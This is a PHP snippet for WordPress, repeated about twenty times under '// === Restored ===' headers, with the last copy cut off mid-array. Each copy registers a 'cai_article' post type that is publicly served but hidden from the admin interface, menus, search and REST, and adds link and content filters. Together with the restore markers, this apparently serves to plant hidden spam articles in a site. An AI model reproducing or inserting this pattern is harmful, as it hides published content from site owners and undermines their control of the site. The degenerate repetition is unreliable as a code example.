
// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
